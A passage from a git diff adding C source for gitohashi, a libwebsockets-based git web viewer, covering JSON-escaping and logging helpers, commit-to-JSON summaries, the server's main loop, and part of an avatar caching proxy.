+			lws_snprintf(buf, buflen, "refs/heads/%s",
+				     ctx->sr.e[JG2_PE_BRANCH]);
+
+			return buf;
+		}
+
+		return "refs/heads/master";
+	}
+
+	if (type == JG2_PE_OFFSET)
+		return (const char *)(void *)(intptr_t)ctx->sr.offset;
+
+	return ctx->sr.e[type];
+}
+
+void
+jg2_repopath_destroy(struct jg2_split_repopath *sr)
+{
+	if (!sr->e[JG2_PE_NAME])
+		return;
+
+	free((char *)sr->e[JG2_PE_NAME]);
+	sr->e[JG2_PE_NAME] = NULL;
+}
+
+/* returns amount written to escaped.
+ *
+ * if inlim_totlen is non-null, it restricts the amount of input that can be
+ * used on input, and contains the amount of input used on output.
+ */
+
+int
+jg2_json_purify(char *escaped, const char *string, int len,
+		size_t *inlim_totlen)
+{
+	const char *p = string, *op = p;
+	char *q = escaped;
+	int inlim = -1;
+
+	if (inlim_totlen)
+		inlim = *inlim_totlen;
+
+	if (!p) {
+		escaped[0] = '\0';
+		return 0;
+	}
+
+	while (len-- > 6 && (p - op) != inlim && *p) {
+		if (*p == '\t') {
+			p++;
+			*q++ = '\\';
+			*q++ = 't';
+			continue;
+		}
+
+		if (*p == '\n') {
+			p++;
+			*q++ = '\\';
+			*q++ = 'n';
+			continue;
+		}
+
+		if (*p == '\r') {
+			p++;
+			*q++ = '\\';
+			*q++ = 'r';
+			continue;
+		}
+
+		if (*p == '&' || *p == '<' || *p == '>' || *p == '\"' ||
+		    *p == '\\' || *p == '=' || (unsigned char)(*p) < 0x20) {
+			*q++ = '\\';
+			*q++ = 'u';
+			*q++ = '0';
+			*q++ = '0';
+			*q++ = hex[((*p) >> 4) & 15];
+			*q++ = hex[(*p) & 15];
+			len -= 5;
+			p++;
+		} else
+			*q++ = *p++;
+	}
+	*q = '\0';
+
+	if (inlim_totlen)
+		*inlim_totlen = p - op;
+
+	return q - escaped;
+}
+
+void *
+jg2_zalloc(size_t s)
+{
+	void *v;
+
+	v = malloc(s);
+	if (!v)
+		return NULL;
+	memset(v, 0, s);
+
+	return v;
+}
+
+int
+lws_snprintf(char *str, size_t size, const char *format, ...)
+{
+	va_list ap;
+	int n;
+
+	if (!size)
+		return 0;
+
+	va_start(ap, format);
+	n = vsnprintf(str, size, format, ap);
+	va_end(ap);
+
+	if (n >= (int)size)
+		return (int)size;
+
+	return n;
+}
+
+unsigned long long time_in_microseconds(void)
+{
+	struct timeval tv;
+
+	gettimeofday(&tv, NULL);
+	return ((unsigned long long)tv.tv_sec * 1000000LL) + tv.tv_usec;
+}
+
+int
+lwsl_timestamp(int level, char *p, int len)
+{
+	time_t o_now = time(NULL);
+	unsigned long long now;
+	struct tm *ptm = NULL;
+#ifndef WIN32
+	struct tm tm;
+#endif
+	int n;
+
+#ifndef _WIN32_WCE
+#ifdef WIN32
+	ptm = localtime(&o_now);
+#else
+	if (localtime_r(&o_now, &tm))
+		ptm = &tm;
+#endif
+#endif
+
+	p[0] = '\0';
+	for (n = 0; n < JG2_LLL_COUNT; n++) {
+		if (level != (1 << n))
+			continue;
+		now = time_in_microseconds() / 100;
+		if (ptm)
+			n = lws_snprintf(p, len,
+				"[%04d/%02d/%02d %02d:%02d:%02d:%04d] %s: ",
+				ptm->tm_year + 1900,
+				ptm->tm_mon + 1,
+				ptm->tm_mday,
+				ptm->tm_hour,
+				ptm->tm_min,
+				ptm->tm_sec,
+				(int)(now % 10000), log_level_names[n]);
+		else
+			n = lws_snprintf(p, len, "[%llu:%04d] %s: ",
+					(unsigned long long) now / 10000,
+					(int)(now % 10000), log_level_names[n]);
+		return n;
+	}
+
+	return 0;
+}
+
+static const char * const colours[] = {
+	"[31;1m", /* LLL_ERR */
+	"[36;1m", /* LLL_WARN */
+	"[35;1m", /* LLL_NOTICE */
+	"[32;1m", /* LLL_INFO */
+	"[34;1m", /* LLL_DEBUG */
+	"[30;1m", /* LLL_USER */
+};
+
+void lwsl_emit_stderr(int level, const char *line)
+{
+	int n, m = JG2_ARRAY_SIZE(colours) - 1;
+	static char tty = 3;
+	char buf[50];
+
+	if (!tty)
+		tty = isatty(2) | 2;
+	lwsl_timestamp(level, buf, sizeof(buf));
+
+	if (tty == 3) {
+		n = 1 << (JG2_ARRAY_SIZE(colours) - 1);
+		while (n) {
+			if (level & n)
+				break;
+			m--;
+			n >>= 1;
+		}
+		fprintf(stderr, "%c%s%s%s%c[0m", 27, colours[m], buf, line, 27);
+	} else
+		fprintf(stderr, "%s%s", buf, line);
+}
+
+void _lws_logv(int filter, const char *format, va_list vl)
+{
+	char buf[256];
+	int n;
+
+//	if (!(log_level & filter))
+//		return;
+
+	n = vsnprintf(buf, sizeof(buf) - 1, format, vl);
+	(void)n;
+	/* vnsprintf returns what it would have written, even if truncated */
+	if (n > (int)sizeof(buf) - 1)
+		n = sizeof(buf) - 1;
+	if (n > 0)
+		buf[n] = '\0';
+
+	lwsl_emit_stderr(filter, buf);
+}
+
+void _jg2_log(int filter, const char *format, ...)
+{
+	va_list ap;
+
+	va_start(ap, format);
+	_lws_logv(filter, format, ap);
+	va_end(ap);
+}
+
+const char *
+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5)
+{
+	int n;
+
+	if (!md5) {
+		*md5_hex_33++ = '?';
+		*md5_hex_33++ = '\0';
+		return md5_hex_33 - 2;
+	}
+	for (n = 0; n < 16; n++) {
+		*md5_hex_33++ = hex[((*md5) >> 4) & 0xf];
+		*md5_hex_33++ = hex[*(md5++) & 0xf];
+	}
+	*md5_hex_33 = '\0';
+
+	return md5_hex_33 - 32;
+}
+
+const char *
+oid_to_hex_cstr(char *oid_hex, const git_oid *oid)
+{
+	if (!oid) {
+		*oid_hex++ = 'x';
+		*oid_hex++ = '\0';
+		return oid_hex - 2;
+	}
+	git_oid_fmt(oid_hex, oid);
+	oid_hex[GIT_OID_HEXSZ] = '\0';
+
+	return oid_hex;
+}
+
+const char *
+ellipsis_string(char *out, const char *in, int max)
+{
+	if (in != out) {
+		out[max - 4] = '\0';
+		strncpy(out, in, max - 4);
+		if (!out[max - 4])
+			return out;
+	} else
+		if (strlen(in) < (size_t)max - 4)
+			return out;
+
+	out[max - 4] = '.';
+	out[max - 3] = '.';
+	out[max - 2] = '.';
+	out[max - 1] = '\0';
+
+	return out;
+}
+
+const char *
+ellipsis_purify(char *out, const char *in, int max)
+{
+	jg2_json_purify(out, in, max, NULL);
+	ellipsis_string(out, out, max);
+
+	return out;
+}
+
+void
+time_json(const git_time *t, struct jg2_ctx *ctx)
+{
+	CTX_BUF_APPEND("{ \"time\": %llu, \"offset\": %d }",
+		       (unsigned long long)t->time, t->offset);
+}
+
+void
+name_email_json(const char *name, const char *email, struct jg2_ctx *ctx)
+{
+	char e[64], e1[64], md5_hex[33];
+
+	if (!name)
+		name = "unknown";
+
+	if (!email)
+		email = "unknown";
+
+	md5_to_hex_cstr(md5_hex, email_md5(ctx->vhost, email));
+
+	CTX_BUF_APPEND(" \"name\": \"%s\", \"email\": \"%s\", \"md5\": \"%s\" ",
+		       ellipsis_purify(e, name, sizeof(e)),
+		       ellipsis_purify(e1, email, sizeof(e1)), md5_hex);
+}
+
+/* try to parse out Name Name <name@name.com> into name and email */
+
+void
+identity_json(const char *name_email, struct jg2_ctx *ctx)
+{
+	char name[64], email[64], *p, *p1;
+	size_t len;
+
+	p1 = p = strchr(name_email, '<');
+	if (!p || p == name_email)
+		goto try;
+
+	if (p[-1] == ' ')
+		p--;
+
+	len = p - name_email;
+	if (len > sizeof(name) - 1)
+		len = sizeof(name) - 1;
+	strncpy(name, name_email, len);
+	name[len] = '\0';
+
+	p1++;
+	p = strchr(p1, '>');
+	if (!p)
+		goto try;
+
+	len = p - p1;
+	if (len > sizeof(name) - 1)
+		len = sizeof(name) - 1;
+	strncpy(email, p1, len);
+	email[len] = '\0';
+
+	name_email_json(name, email, ctx);
+
+	return;
+
+try:
+	name_email_json(name_email, "", ctx);
+}
+
+void
+signature_json(const git_signature *sig, struct jg2_ctx *ctx)
+{
+	CTX_BUF_APPEND("{ \"git_time\": ");
+	time_json(&sig->when, ctx);
+
+	CTX_BUF_APPEND(",");
+	name_email_json(sig->name, sig->email, ctx);
+
+	CTX_BUF_APPEND(" }");
+}
+
+void
+signature_text(const git_signature *sig, struct jg2_ctx *ctx)
+{
+	struct tm *tm;
+	char dt[96];
+
+	tm = localtime((const time_t *)&sig->when.time);
+
+	CTX_BUF_APPEND("Author: %s <%s>\n", sig->name, sig->email);
+
+	if (tm) {
+		/* like Date:   Mon Aug 13 16:49:58 2018 +0800 */
+		strftime(dt, sizeof(dt), "%a %h %d %H:%M:%S %Y %z", tm);
+		CTX_BUF_APPEND("Date: %s\n", dt);
+	}
+}
+
+static const char * otype_table[] = {
+	"any",
+	"bad",
+	"ext1",
+	"commit",
+	"tree",
+	"blob",
+	"tag",
+	"ext2",
+	"ofs-delta",
+	"ref-delta"
+};
+
+const char *
+otype_name(git_otype type)
+{
+	size_t ntype = type + 2;
+
+	if (ntype >= JG2_ARRAY_SIZE(otype_table))
+		return "unknown";
+
+	return otype_table[ntype];
+}
+
+int
+jg2_oid_to_ref_names(const git_oid *oid, struct jg2_ctx *ctx,
+		     struct jg2_ref **result, int max)
+{
+	struct jg2_ref *ref = ctx->jrepo->ref_list_hash[jg2_oidbin(oid)];
+	int n = 0;
+
+	while (ref) {
+		if (!git_oid_cmp(&ref->oid, oid)) {
+			*result++ = ref;
+			if (++n == max)
+				return n;
+		}
+		ref = ref->hash_next;
+	}
+
+	return n;
+}
+
+int
+jg2_json_oid(const git_oid *oid, struct jg2_ctx *ctx)
+{
+	char oid_hex[GIT_OID_HEXSZ + 1], pure[32];
+	struct jg2_ref *aliases[8];
+	int n, m = 0;
+
+	n = jg2_oid_to_ref_names(oid, ctx, aliases, JG2_ARRAY_SIZE(aliases));
+
+	CTX_BUF_APPEND("{ \"oid\": \"%s\", "
+		       "\"alias\": [", oid_to_hex_cstr(oid_hex, oid));
+
+	while (m < n) {
+		CTX_BUF_APPEND("%c\"%s\"", !m ? ' ' : ',', ellipsis_purify(pure,
+			       aliases[m]->ref_name, sizeof(pure)));
+		m++;
+	}
+
+	CTX_BUF_APPEND("]}");
+
+	return 0;
+}
+
+int
+commit_summary(git_commit *commit, struct jg2_ctx *ctx)
+{
+	char summary[100];
+
+	CTX_BUF_APPEND("\"type\":\"commit\",\n \"time\": %llu,\n"
+			"\"time_ofs\": %llu,\n \"oid_tree\": ",
+			(unsigned long long)git_commit_time(commit),
+			(unsigned long long)git_commit_time_offset(commit));
+
+	jg2_json_oid(git_commit_tree_id(commit), ctx);
+
+	CTX_BUF_APPEND(",\n\"oid\":");
+
+	jg2_json_oid(git_commit_id(commit), ctx);
+
+	CTX_BUF_APPEND(",\n \"msg\": \"%s\",\n \"sig_commit\": ",
+		ellipsis_purify(summary,
+#if LIBGIT2_HAS_DIFF
+				git_commit_summary(commit),
+#else
+				git_commit_message(commit),
+#endif
+				sizeof(summary)));
+
+	signature_json(git_commit_committer(commit), ctx);
+
+	CTX_BUF_APPEND(",\n\"sig_author\": ");
+
+	signature_json(git_commit_author(commit), ctx);
+
+	return 0;
+}
+
+/* these summaries have restricted sizes below 512 bytes */
+
+int
+generic_object_summary(const git_oid *oid, struct jg2_ctx *ctx)
+{
+	char summary[100];
+	git_generic_ptr u;
+	git_otype type;
+	int e;
+
+	if (!oid)
+		return 0;
+
+	e = git_object_lookup(&u.obj, ctx->jrepo->repo, oid, GIT_OBJ_ANY);
+	if (e < 0)
+		return 0;
+
+	type = git_object_type(u.obj);
+	if (type < GIT_OBJ_COMMIT || type > GIT_OBJ_TAG)
+		return 0;
+
+	CTX_BUF_APPEND("{ ");
+
+	switch (type) {
+	case GIT_OBJ_COMMIT:
+		commit_summary(u.commit, ctx);
+		break;
+
+	case GIT_OBJ_TREE:
+		CTX_BUF_APPEND("\"type\":\"tree\"\n");
+		break;
+	case GIT_OBJ_BLOB:
+		CTX_BUF_APPEND("\"type\":\"blob\",\n \"size\":\"%llu\"",
+			(unsigned long long)git_blob_rawsize(u.blob));
+		break;
+	case GIT_OBJ_TAG:
+		CTX_BUF_APPEND("\"type\":\"tag\",\n \"oid_tag\": ");
+
+		jg2_json_oid(git_tag_target_id(u.tag), ctx);
+
+		CTX_BUF_APPEND(",\n \"type_tag\": \"%s\",\n"
+			"\"msg_tag\": \"%s\",\n \"sig_tagger\": ",
+			otype_name(git_tag_target_type(u.tag)),
+			ellipsis_purify(summary, git_tag_message(u.tag),
+					sizeof(summary)));
+
+		signature_json(git_tag_tagger(u.tag), ctx);
+		break;
+
+	default:
+		break;
+	}
+
+	CTX_BUF_APPEND("}");
+	git_object_free(u.obj);
+
+	return 0;
+}
+
+int
+blob_from_commit(struct jg2_ctx *ctx)
+{
+	git_tree_entry *te;
+	git_generic_ptr u;
+	char branch[128];
+	git_commit *c;
+	git_oid oid;
+	int e;
+
+	if (!ctx->hex_oid[0])
+		return 1;
+
+	ctx->count = 0;
+
+	if (strlen(ctx->hex_oid) != 40 &&
+	    strncmp(ctx->hex_oid, "refs/heads/", 11)) {
+		strcpy(branch, "refs/heads/");
+		strncpy(branch + 11, ctx->hex_oid, sizeof(branch) - 12);
+	} else
+		strncpy(branch, ctx->hex_oid, sizeof(branch) - 1);
+	branch[sizeof(branch) - 1] = '\0';
+
+	if (branch[0] == 'r') {
+		e = git_reference_name_to_id(&oid, ctx->jrepo->repo, branch);
+		if (e < 0) {
+			lwsl_err("%s: unable to lookup ref '%s': %d\n",
+				 __func__, ctx->hex_oid, e);
+
+			return -1;
+		}
+	} else
+		if (git_oid_fromstr(&oid, ctx->hex_oid)) {
+			lwsl_err("oid_fromstr failed\n");
+
+			return -1;
+		}
+
+	e = git_object_lookup(&u.obj, ctx->jrepo->repo, &oid, GIT_OBJ_ANY);
+	if (e < 0) {
+		lwsl_err("object lookup failed\n");
+
+		return -1;
+	}
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		lwsl_err("object not a commit\n");
+
+		goto bail;
+	}
+
+	/* convert the commit object to a tree object */
+
+	c = u.commit;
+	if (git_commit_tree(&u.tree, u.commit)) {
+		lwsl_err("git_commit_tree failed\n");
+
+		goto bail;
+	}
+
+	git_commit_free(c);
+
+	if (ctx->sr.e[JG2_PE_PATH]) {
+
+		if (git_tree_entry_bypath(&te, u.tree,
+					  ctx->sr.e[JG2_PE_PATH])) {
+			lwsl_err("%s: git_tree_entry_bypath %s failed\n",
+				 __func__, ctx->sr.e[JG2_PE_PATH]);
+
+			goto bail;
+		}
+
+		git_tree_free(u.tree);
+		u.obj = NULL;
+
+		e = git_tree_entry_to_object(&u.obj, ctx->jrepo->repo, te);
+		git_tree_entry_free(te);
+		if (e) {
+			lwsl_err("tree_entry_to_object failed\n");
+
+			goto bail;
+		}
+	}
+
+	ctx->u = u;
+
+	/*
+	 * /plain/ mode urls are followed by a "path" element inside the tree.
+	 *
+	 * These can consist of either a dir path, which we want to use to
+	 * restrict where we walk the tree, or a blob path.
+	 */
+
+	if (git_object_type(u.obj) != GIT_OBJ_BLOB) {
+		lwsl_err("object is not a blob (%d)\n", git_object_type(u.obj));
+
+		goto bail;
+	}
+
+	ctx->body = git_blob_rawcontent(u.blob);
+	ctx->size = git_blob_rawsize(u.blob);
+	ctx->pos = 0;
+
+	return 0;
+
+bail:
+	if (u.obj) {
+		git_object_free(u.obj);
+		u.obj = NULL;
+	}
+
+	return -1;
+}
diff --git a/src/main.c b/src/main.c
new file mode 100644
index 0000000..d4a6dde
--- /dev/null
+++ b/src/main.c
@@ -0,0 +1,137 @@
+/*
+ * gitohashi - main.c
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include <libwebsockets.h>
+#include <libjsongit2.h>
+
+#define LWS_PLUGIN_STATIC
+#include "protocol_gitohashi.c"
+#include "protocol_avatar-proxy.c"
+
+#include <getopt.h>
+#include <string.h>
+#include <signal.h>
+#include <time.h>
+
+#define LWSWS_CONFIG_STRING_SIZE (32 * 1024)
+
+static int interrupted;
+
+static const struct lws_protocols protocols[] = {
+	LWS_PLUGIN_PROTOCOL_GITOHASHI,
+	LWS_PLUGIN_PROTOCOL_AVATAR_PROXY,
+	{ }
+};
+
+static struct lws_context *
+context_creation(const char *config_dir)
+{
+	int cs_len = LWSWS_CONFIG_STRING_SIZE - 1;
+	struct lws_context_creation_info info;
+	struct lws_context *context;
+	char *cs, *config_strings;
+
+	cs = config_strings = malloc(LWSWS_CONFIG_STRING_SIZE);
+	if (!config_strings) {
+		lwsl_err("Unable to allocate config strings heap\n");
+
+		return NULL;
+	}
+
+	memset(&info, 0, sizeof(info));
+
+	info.external_baggage_free_on_destroy = config_strings;
+	info.pt_serv_buf_size = 8192;
+	info.options = LWS_SERVER_OPTION_DO_SSL_GLOBAL_INIT |
+		       LWS_SERVER_OPTION_EXPLICIT_VHOSTS |
+		       LWS_SERVER_OPTION_VALIDATE_UTF8;
+
+	lwsl_notice("Using config dir: \"%s\"\n", config_dir);
+
+	/*
+	 *  first go through the config for creating the outer context
+	 */
+	if (lwsws_get_config_globals(&info, config_dir, &cs, &cs_len))
+		goto init_failed;
+
+	info.pcontext = &context;
+
+	context = lws_create_context(&info);
+	if (context == NULL) {
+		lwsl_err("lws init failed\n");
+		/* config_strings freed as 'external baggage' */
+		return NULL;
+	}
+
+	info.protocols = protocols;
+
+	if (lwsws_get_config_vhosts(context, &info, config_dir, &cs, &cs_len)) {
+		lws_context_destroy(context);
+
+		return NULL;
+	}
+
+	return context;
+
+init_failed:
+	free(config_strings);
+
+	return NULL;
+}
+
+void sigint_handler(int sig)
+{
+	lwsl_err("signal %d\n", sig);
+	interrupted = 1;
+}
+
+int main(int argc, const char **argv)
+{
+	int n = 0, logs = LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE | LLL_THREAD;
+	struct lws_context *context;
+	const char *p;
+
+	signal(SIGINT, sigint_handler);
+
+	if ((p = lws_cmdline_option(argc, argv, "-d")))
+		logs = atoi(p);
+
+	lws_set_log_level(logs, NULL);
+
+	lwsl_user("Gitohashi - "
+		  "Copyright (C) 2018 Andy Green <andy@warmcat.com>\n");
+
+	context = context_creation("/etc/gitohashi");
+	if (!context) {
+		lwsl_err("lws init failed\n");
+		return 1;
+	}
+
+	while (n >= 0 && !interrupted) {
+		n = lws_service(context, 1000);
+		if (n < 0)
+			lwsl_notice("lws_service returned %d\n", n);
+	}
+
+	lws_context_destroy(context);
+
+	return 0;
+}
diff --git a/src/protocol_avatar-proxy.c b/src/protocol_avatar-proxy.c
new file mode 100644
index 0000000..91158a7
--- /dev/null
+++ b/src/protocol_avatar-proxy.c
@@ -0,0 +1,499 @@
+/*
+ * avatar_proxy - unidirectional proxy
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ *
+ *
+ * This isn't a generic proxy.
+ *
+ * You can request a cache dir be filled by reading things from a specific
+ * remote URL base + a path, using an api reachable from the protocol name +
+ * vhost instance.  It's the only way to make requests to fill the cache.
+ *
+ * Then, separately, you can expose the cache dir as a normal read-only mount
+ * dir with whatever caching policy you want.
+ *
+ * Downstream cache consumers can't request things that aren't already in the
+ * cache then, removing any worries about being misused to attack the upstream.
+ */
+
+#define LWS_DLL
+#define LWS_INTERNAL
+#include <libwebsockets.h>
+
+#include <pthread.h>
+#include <string.h>
+#include <stdlib.h>
+#include <dirent.h>
+#include <errno.h>
+#include <unistd.h>
+#include <fcntl.h>
+
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+
+struct req {
+	struct lws_dll next;
+	char filepath_temp[256];
+	char filepath[192];
+	char urlpath[128];
+	int fd;
+};
+
+struct pss_avatar_proxy {
+	struct lws *wsi;
+	char path[128];
+	int state;
+	int tries;
+};
+
+struct vhd_avatar_proxy {
+	struct lws_context *context;
+	struct lws_vhost *vh;
+	const char *remote_base /*
+				 * the remote URL being proxied, eg,
+				 * https://somewhere.com/ ... fetches will only
+				 * be made to URLs starting with this plus
+				 * whatever path came in on the request
+				 */,
+		   *cache_dir;
+
+	pthread_mutex_t lock; /* protect the dlls */
+
+	struct lws_dll head;
+	struct lws_dll head_waiting;
+};
+
+static const struct lws_protocols protocols[];
+
+static int
+__create_waiting_client_request(struct vhd_avatar_proxy *vhd, struct req *r)
+{
+	struct lws_client_connect_info i;
+	const char *prot, *opath;
+	struct lws *wsi;
+	char *tmp;
+
+	lws_snprintf(r->filepath_temp, sizeof(r->filepath_temp), "%s~%d-%p",
+		     r->filepath, (int)getpid(), vhd);
+
+	r->fd = open(r->filepath_temp, O_RDWR | O_TRUNC | O_CREAT, 0600);
+	if (r->fd < 0) {
+		lwsl_err("%s: unable to open %s: errno %d\n", __func__,
+				r->filepath, errno);
+		return 1;
+	}
+
+	memset(&i, 0, sizeof(i));
+
+	i.context = vhd->context;
+	i.ssl_connection = LCCSCF_PIPELINE /* | LCCSCF_ALLOW_SELFSIGNED */;
+
+	tmp = strdup(vhd->remote_base);
+	if (lws_parse_uri(tmp, &prot, &i.address, &i.port, &opath)) {
+		lwsl_notice("%s: parse uri %s: failed\n", __func__, tmp);
+		free(tmp);
+		return 1;
+	}
+	if (!strcmp(prot, "https"))
+		i.ssl_connection |= LCCSCF_USE_SSL;
+
+	i.host = i.address;
+	i.origin = i.address;
+	i.method = "GET";
+	i.protocol = "avatar-proxy";
+	i.path = r->urlpath;
+	i.vhost = vhd->vh;
+	i.alpn = "http/1.1";
+
+	 /*
+	  * the req is bound to the client fetch request if the client connect
+	  * initial part below succeeds
+	  */
+	i.userdata = r;
+
+	lws_dll_add_front(&r->next, &vhd->head);
+
+
+	wsi = lws_client_connect_via_info(&i);
+	if (wsi) {
+		lwsl_debug("%s: requested %s %s:%d %s\n", __func__, prot,
+				i.address, i.port, r->urlpath);
+		free(tmp);
+
+		return 0;
+	}
+
+	lwsl_notice("%s: failed %s %s:%d %s\n", __func__, prot,
+			i.address, i.port, r->urlpath);
+
+	free(tmp);
+
+	/* wasn't able to get started... we have to clean up req */
+
+	lws_dll_remove(&r->next);
+
+	return 1;
+}
+
+static int
+create_waiting_client_requests(struct vhd_avatar_proxy *vhd)
+{
+	if (!vhd->head_waiting.next)
+		return 0;
+
+	pthread_mutex_lock(&vhd->lock); /* ========================= vhd lock */
+
+	/* on the list of waiting requests? */
+
+	lws_start_foreach_dll_safe(struct lws_dll *, p, p1,
+				   vhd->head_waiting.next) {
+		struct req *r = (struct req *)p;
+
+		/* switch to the list of active requests */
+
+		lws_dll_remove(&r->next);
+
+		if (__create_waiting_client_request(vhd, r)) {
+			free(r);
+		}
+
+	} lws_end_foreach_dll_safe(p, p1);
+
+	pthread_mutex_unlock(&vhd->lock); /* --------------------- vhd unlock */
+
+	return 0;
+}
+
+/*
+ * Unlike a generic proxy, the downstream side cannot make requests to fill
+ * the cache directly.
+ *
+ * This api function is the only way to request "path" from vhd->remote_base
+ * (ie, https://myremote.base/path) to appear in vhd->cache_dir, in "flattened"
+ * filename form.
+ */
+
+enum {
+	MENTION_REQUESTED,
+	MENTION_FAILED,
+	MENTION_EXISTS,
+};
+
+/*
+ * Called from a threadpool thread context... we need to queue the request and
+ * deal with it from the service context
+ */
+
+static int
+mention(struct lws_protocols *pcol, struct lws_vhost *vh, const char *path)
+{
+	struct vhd_avatar_proxy *vhd = (struct vhd_avatar_proxy *)
+					  lws_protocol_vh_priv_get(vh, pcol);
+	int fd, ret = MENTION_REQUESTED;
+	char filepath[128];
+	struct req *req;
+
+	lws_snprintf(filepath, sizeof(filepath), "%s/%c/%c/%s_avatar",
+		     vhd->cache_dir, path[0], path[1], path);
+
+	/* it already exists as a file in the cache? */
+
+	fd = open(filepath, O_RDONLY);
+	if (fd >= 0) {
+		close(fd);
+
+		return MENTION_EXISTS;
+	}
+
+	/* a request is underway already? */
+
+	pthread_mutex_lock(&vhd->lock); /* ========================= vhd lock */
+
+	/* on the list of client fetches? */
+
+	lws_start_foreach_dll(struct lws_dll *, p, vhd->head.next) {
+		struct req *r = (struct req *)p;
+
+		if (!strcmp(r->filepath, filepath))
+			goto done;
+
+	} lws_end_foreach_dll(p);
+
+	/* on the list of waiting requests? */
+
+	lws_start_foreach_dll(struct lws_dll *, p, vhd->head_waiting.next) {
+		struct req *r = (struct req *)p;
+
+		if (!strcmp(r->filepath, filepath))
+			goto done;
+	} lws_end_foreach_dll(p);
+
+	/*
+	 * we should queue a new request for http client fetch from
+	 * lws service context... add it on the vhd's waiting dll and use
+	 * cancel service to signal we need service
+	 */
+
+	req = malloc(sizeof(*req));
+	if (!req) {
+		ret = MENTION_FAILED;
+		goto done;
+	}
+
+	memset(req, 0, sizeof(*req));
+
+	lws_snprintf(req->filepath, sizeof(req->filepath), "%s", filepath);
+	lws_snprintf(req->urlpath, sizeof(req->urlpath),
+			"/avatar/%s/?s=128&d=retro", path);
+
+	lwsl_debug("%s: queuing fetch of %s %s\n", __func__, req->urlpath,
+		    req->filepath);
+
+	lws_dll_add_front(&req->next, &vhd->head_waiting);
+
+	lws_cancel_service(vhd->context);
+
+done:
+	pthread_mutex_unlock(&vhd->lock); /* --------------------- vhd unlock */
+
+	return ret;
+}
+
+static int
+callback_avatar_proxy(struct lws *wsi, enum lws_callback_reasons reason,
+		      void *user, void *in, size_t len)
+{
+	struct vhd_avatar_proxy *vhd = (struct vhd_avatar_proxy *)
+			      lws_protocol_vh_priv_get(lws_get_vhost(wsi),
+						       lws_get_protocol(wsi));
+	struct pss_avatar_proxy *pss = (struct pss_avatar_proxy *)user;
+	struct req *req = NULL;
+	const char *p;
+	int fd;
+
+	switch (reason) {
+
+	/* --------------- protocol --------------- */
+
+	case LWS_CALLBACK_PROTOCOL_INIT: /* per vhost */
+		lws_protocol_vh_priv_zalloc(lws_get_vhost(wsi),
+					    lws_get_protocol(wsi),
+					    sizeof(struct vhd_avatar_proxy));
+
+		vhd = (struct vhd_avatar_proxy *)
+			lws_protocol_vh_priv_get(lws_get_vhost(wsi),
+						 lws_get_protocol(wsi));
+
+		vhd->context = lws_get_context(wsi);
+		vhd->vh = lws_get_vhost(wsi);
+
+		if (lws_pvo_get_str(in, "remote-base", &vhd->remote_base))
+			return -1;
+		if (lws_pvo_get_str(in, "cache-dir", &vhd->cache_dir))
+			return -1;
+
+		/*
+		 * Assumes gitohashi or package install set up the cache
+		 * dirs
+		 */
+
+		pthread_mutex_init(&vhd->lock, NULL);
+		break;
+
+	case LWS_CALLBACK_PROTOCOL_DESTROY:
+		pthread_mutex_destroy(&vhd->lock);
+		break;
+
+	/* --------------- http server --------------- */
+
+	case LWS_CALLBACK_HTTP:
+		lwsl_debug("LWS_CALLBACK_HTTP %p: %s\n", wsi, (char *)in);
+		p = (const char *)in;
+		if (*p == '/')
+			p++;
+		lws_snprintf(pss->path, sizeof(pss->path), "%s/%c/%c/%s",
+			     vhd->cache_dir, p[0], p[1], p);
+
+		lws_set_timer_usecs(wsi, LWS_USEC_PER_SEC);
+
+		return 0;
+
+		/* fallthru */
+
+	case LWS_CALLBACK_HTTP_WRITEABLE:
+		lwsl_debug("%s: LWS_CALLBACK_HTTP_WRITEABLE %s\n", __func__,
+			   pss->path);
+		if (!pss->path[0])
+			return 0;
+
+		fd = open(pss->path, LWS_O_RDONLY);
+		if (fd >= 0) {
+			close(fd);
+			if (lws_serve_http_file(wsi, pss->path, "image/png",
+						NULL, 0) < 0)
+				return -1;
+			return 0;
+		}
+		pss->tries++;
+		if (pss->tries == 8) {
+			unsigned char headers[LWS_PRE + 2048],
+				*start = &headers[LWS_PRE], *p = start,
+				*end = &headers[sizeof(headers) - 1];
+
+			if (lws_add_http_header_status(wsi,
+						HTTP_STATUS_NOT_FOUND, &p, end))
+				return -1;
+
+			if (lws_finalize_write_http_header(wsi, start, &p, end))
+				return -1;
+
+			if (lws_http_transaction_completed(wsi))
+				return -1;
+
+			return 0;
+		}
+
+		lws_set_timer_usecs(wsi, LWS_USEC_PER_SEC);
+		return 0;
+
+	case LWS_CALLBACK_TIMER:
+		lwsl_debug("%s: LWS_CALLBACK_TIMER %s\n", __func__, pss->path);
+		lws_callback_on_writable(wsi);
+		return 0;
+
+	/* --------------- http client --------------- */
+
+	case LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP:
+		lwsl_debug("LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP %p\n", wsi);
+		return 0;
+
+	case LWS_CALLBACK_CLIENT_CONNECTION_ERROR:
+		lwsl_notice("CLIENT_CONNECTION_ERROR: %p: %s\n", wsi,
+				in ? (char *)in : "(null)");
+		break;
+
